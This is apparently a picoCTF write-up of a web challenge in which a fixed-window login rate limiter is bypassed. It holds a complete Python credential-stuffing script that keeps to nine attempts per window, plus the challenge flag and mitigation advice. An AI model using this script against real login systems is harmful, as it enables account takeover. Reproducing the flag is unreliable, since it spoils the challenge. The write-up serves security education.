picoCTF Writeup — Fool the Lockout (Web Exploitation)
quality 9/10 · excellent
0 net
Tags
picoCTF Writeup — Fool the Lockout (Web Exploitation) | by mayhack - Freedium
Milestone: 20GB Reached
We’ve reached 20GB of stored data — thank you for helping us grow!
Patreon
Ko-fi
Liberapay
Close
< Go to the original
picoCTF Writeup — Fool the Lockout (Web Exploitation)
Introduction
mayhack
Follow
~4 min read
·
March 24, 2026 (Updated: March 25, 2026)
·
Free: Yes
picoCTF Writeup — Fool the Lockout (Web Exploitation)
This writeup explains how to solve the "Fool the Lockout" challenge from picoCTF . The challenge focuses on bypassing a login rate limiter implemented in a web application.
The goal is to bypass the protection mechanism, successfully log in using credentials from a provided dump, and retrieve the flag.
Category: Web Exploitation
Points: 200
Challenge Description
The challenge provides the following information:
A login page
A credential dump containing 100 username/password pairs
The full Python source code of the application
The description states that one of the credential pairs in the dump is valid. However, the application implements a rate limiting mechanism that blocks your IP address after too many login attempts.
Our task is to:
Understand how the rate limiter works
Find a way to bypass it
Try credentials until we find the valid one
Log in and retrieve the flag
The login page looks like this:
Understanding the Application
We were given the Flask source code of the application.
The application uses a simple dictionary to store user credentials: user_db = {}
It also tracks login attempts using another dictionary: request_rates = {}
Each IP address gets an entry like this: {
"num_requests": int,
"epoch_start": timestamp,
"lockout_until": timestamp
}
This structure allows the application to track how many login attempts an IP address has made within a specific time window.
Rate Limiting Logic
Three constants control the rate limiter: MAX_REQUESTS = 10
EPOCH_DURATION = 30
LOCKOUT_DURATION = 120
Meaning:
MAX_REQUESTS — Maximum failed login attempts allowedEPOCH_DURATION — Time window for counting attemptsLOCKOUT_DURATION — Time the IP is blocked
In simple terms:
If more than 10 login attempts occur
Within 30 seconds
The IP address is locked for 120 seconds
The Vulnerability
The key vulnerability lies in how the epoch reset works .
Inside the function that refreshes request counters: if curr_time - epoch_start_time > EPOCH_DURATION:
request_rates[client_ip]["num_requests"] = 0
This means:
Every 30 seconds , the request counter resets back to zero .
This implementation uses a fixed time window instead of a sliding window .
Because of this, we can avoid triggering the lockout by:
Sending 9 login attempts
Waiting more than 30 seconds
Repeating the process
Since the threshold is 10 attempts , staying at 9 attempts per window avoids triggering the rate limiter.
Credential Dump
We are given a file containing username/password pairs.
Example entries from the dump: rora;winner1
birendra;rumble
khalid;sting
stanislaw;ming
One of these credential pairs is the real account.
Our job is to test each pair until we find the correct one.
This attack technique is called Credential Stuffing , where attackers try leaked username/password pairs against a login system.
Exploitation Strategy
Our attack plan is simple:
Read the credential dump
Send login requests
Stop after 9 attempts
Wait 32 seconds (to allow epoch reset)
Continue with the next credentials
Detect successful login via HTTP 302 redirect
Exploit Script
Below is the Python script used to automate the attack. import requests
import time
import re
TARGET = "http://candy-mountain.picoctf.net:56301"
BATCH_SIZE = 9
SLEEP = 32
creds = []
with open("creds-dump.txt") as f:
for line in f:
user, pw = line.strip().split(";")
creds.append((user, pw))
batch = 0
for user, pw in creds:
if batch == BATCH_SIZE:
print("Waiting for rate limit reset...")
time.sleep(SLEEP)
batch = 0
r = requests.post(
f"{TARGET}/login",
data={"username": user, "password": pw},
allow_redirects=False
)
batch += 1
if r.status_code == 302:
print("SUCCESS:", user, pw)
s = requests.Session()
s.post(f"{TARGET}/login", data={"username": user, "password": pw})
home = s.get(TARGET)
flag = re.search(r"picoCTF{.*}", home.text)
print("Flag:", flag.group(0))
break
Successful Login
After running the script, the correct credential pair was found: you will find on your own 🫡🫡
Once logged in, the homepage displays the flag.
Flag
picoCTF{f00l_7h4t_l1m1t3r_011089cc}
Security Impact
Poorly implemented rate limiting can allow attackers to perform credential stuffing attacks .
If an attacker has access to leaked password databases, they can systematically test credentials while staying under the rate limit.
This can lead to:
Account takeover
Data breaches
Unauthorized access to sensitive systems
Mitigation
Developers should implement stronger protections such as:
1. Sliding Window Rate Limiting
Instead of resetting counters every fixed interval, track requests within the last N seconds .
2. Account-Based Lockouts
Lock specific user accounts after repeated failures.
3. CAPTCHA
Introduce CAPTCHA after several failed login attempts.
4. Exponential Backoff
Increase delay after each failed login attempt.
5. Multi-Factor Authentication (MFA)
Require additional authentication factors.
Key Takeaways
This challenge demonstrates an important lesson in web security:
Even when a protection mechanism exists, poor implementation can make it ineffective .
The rate limiter in this challenge used a predictable time window, allowing attackers to stay just under the threshold and bypass the protection completely.
Understanding how security controls work internally is often the key to breaking them.
Conclusion
By carefully analyzing the source code, we identified a flaw in the rate limiter design. Using this knowledge, we created a script that:
Sent login attempts in controlled batches
Waited for the counter reset
Tried all credentials from the dump
Eventually, the correct credentials were found and the flag was retrieved.
This challenge highlights the importance of proper rate limiting implementation in authentication systems .
📬 Stay Connected
If you found this helpful and want to learn more about web security, hands-on labs , feel free to follow me for upcoming posts.
✍️ Follow me for more cybersecurity write-ups
🔗 LinkedIn — codermayank
📸 Instagram — @mayhack_
Tags: #BugBounty #EthicalHacking #ChatGPT #CyberSecurity #AIforSecurity #PenetrationTesting #HackerOne #Bugcrowd #WebSecurity #InfoSec
#bug-bounty #hacking #cybersecurity #pentesting #ctf
Reporting a Problem
Sometimes we have problems displaying some Medium posts.
If you have a problem that some images aren't loading - try using VPN. Probably you have problem with
access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).